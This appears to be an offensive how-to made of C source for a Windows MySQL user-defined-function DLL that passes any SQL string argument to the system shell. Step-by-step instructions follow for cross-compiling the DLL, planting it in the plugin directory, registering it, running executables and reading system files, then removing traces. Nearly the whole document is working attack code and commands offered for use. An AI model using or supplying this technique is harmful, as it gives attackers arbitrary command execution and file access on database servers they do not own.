A DLL Plugin to load into MySQL to run commands.

custom_cmd.c

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

typedef struct st_udf_init {
    char maybe_null;
    unsigned int decimals;
    unsigned long max_length;
    char *ptr;
    char const_item;
} UDF_INIT;

typedef struct st_udf_args {
    unsigned int arg_count;
    int *arg_type;
    char **args;              // This is an array of strings
    unsigned long *lengths;   // This is an array of integers
    char *maybe_null;
    char **attributes;
    unsigned long *attribute_lengths;
} UDF_ARGS;

enum Item_result { STRING_RESULT=0, REAL_RESULT, INT_RESULT, ROW_RESULT, DECIMAL_RESULT };

#define DLLEXPORT __declspec(dllexport)

DLLEXPORT bool run_cmd_init(UDF_INIT *initid, UDF_ARGS *args, char *message);
DLLEXPORT char* run_cmd(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error);
DLLEXPORT void run_cmd_deinit(UDF_INIT *initid);

DLLEXPORT bool run_cmd_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
    if (args->arg_count != 1 || args->arg_type[0] != STRING_RESULT) {
        strcpy(message, "run_cmd() requires exactly one string argument.");
        return 1;
    }
    // Set max_length to allow up to 65k of output back to MySQL
    initid->max_length = 65535;
    return 0;
}

DLLEXPORT char* run_cmd(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error) {
    // FIX: Explicitly reference the 0th element of the arrays
    unsigned long cmd_len = args->lengths[0];
    char *cmd_buffer = (char *)malloc(cmd_len + 1);

    if (cmd_buffer == NULL) {
        *error = 1;
        return NULL;
    }

    // FIX: Reference args->args[0] to copy the full string parameter
    memcpy(cmd_buffer, args->args[0], cmd_len);
    cmd_buffer[cmd_len] = '\0';

    // Open pipe to capture parameters + stdout
    FILE *fp = _popen(cmd_buffer, "r");
    free(cmd_buffer);

    if (fp == NULL) {
        *error = 1;
        return NULL;
    }

    memset(result, 0, 255);
    // Read up to 254 bytes into the default return buffer
    size_t bytes_read = fread(result, 1, 254, fp);
    _pclose(fp);

    *length = (unsigned long)bytes_read;
    return result;
}

DLLEXPORT void run_cmd_deinit(UDF_INIT *initid) {
    // Cleanup
}

1.) Check Plugin Directory: SHOW VARIABLES LIKE 'plugin_dir'

2.) If you have write access, compile plugin on Linux host: x86_64-w64-mingw32-gcc -shared -o custom_cmd.dll custom_cmd.c -lmsvcrt

3.) Copy over to plugin directory

4.) Run SQL: CREATE FUNCTION run_cmd RETURNS STRING SONAME 'custom_cmd.dll';

5.) Run SQL: SELECT run_cmd('C:\\tmp\\command.exe');

6.) As the output is in hex, to read a file you can go: SELECT CAST(run_cmd('type C:\\Windows\\win.ini') AS CHAR);

Clean Up: DROP FUNCTION IF EXISTS run_cmd; and delete the dll.